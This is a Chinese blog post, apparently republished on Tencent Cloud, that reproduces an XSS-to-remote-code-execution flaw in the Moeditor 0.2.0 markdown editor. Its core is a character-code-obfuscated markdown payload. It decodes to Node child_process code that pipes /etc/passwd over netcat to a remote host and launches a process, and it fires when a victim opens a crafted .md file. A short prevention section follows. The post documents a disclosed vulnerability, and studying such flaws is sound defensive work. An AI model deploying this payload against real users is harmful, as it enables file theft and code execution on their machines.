前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Moeditor 0.2.0 - XSS to RCE漏洞复现

Moeditor 0.2.0 - XSS to RCE漏洞复现

作者头像
洛米唯熊
发布2021-08-24 11:26:33
3480
发布2021-08-24 11:26:33
举报
文章被收录于专栏:洛米唯熊

0x00 简介

Moeditor是一款挺不错的开源的markdown编辑器。

0x01:复现

0、描述

该软件允许您在自己的编辑器中存储有效负载,以及上传(.md)文件。一旦输入恶意代码,有效负载将立即执行。

攻击者可以发送一个带有有效负载的恶意文件,当该文件被打开时,链将被成功执行,从而允许访问远程攻击者在计算机上获得远程代码执行。

环境下载地址:https://moeditor.js.org/

1、环境

2、复现过程

payload:

代码语言:javascript
复制
[<audio src=x onerror=writeln(String.fromCharCode(60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,51,49,46,50,54,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,97,108,101,114,116,40,39,74,97,107,121,39,41,34,62,60,115,99,114,105,112,116,62,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,118,97,114,32,101,110,118,95,32,61,32,91,93,59,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,60,47,115,99,114,105,112,116,62))>](http://)

payload转换辅助网站:http://www.ab126.com/goju/1711.html

0x02:预防:

1、升级到最新版本

2、谨慎打开Moeditor

3、关注“洛米唯熊”公众号

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档